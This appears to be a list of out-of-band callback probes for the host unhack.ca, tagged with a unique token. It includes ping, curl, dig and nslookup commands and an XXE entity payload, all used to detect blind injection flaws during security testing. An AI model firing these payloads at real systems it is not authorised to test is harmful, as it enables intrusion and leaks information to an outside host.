$ ping -c1 -p 00ff57c1a011124337188d1002281d00 unhack.ca
 

$ curl http://unhack.ca/p/ff57c1a011124337188d1002281d
 

$ dig ff57c1a011124337188d1002281d @unhack.ca
 

$ dig ff57c1a011124337188d1002281d.ns.unhack.ca
 

C:\> nslookup ff57c1a011124337188d1002281d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff57c1a011124337188d1002281d">]>
    <foo>&xxe;</foo>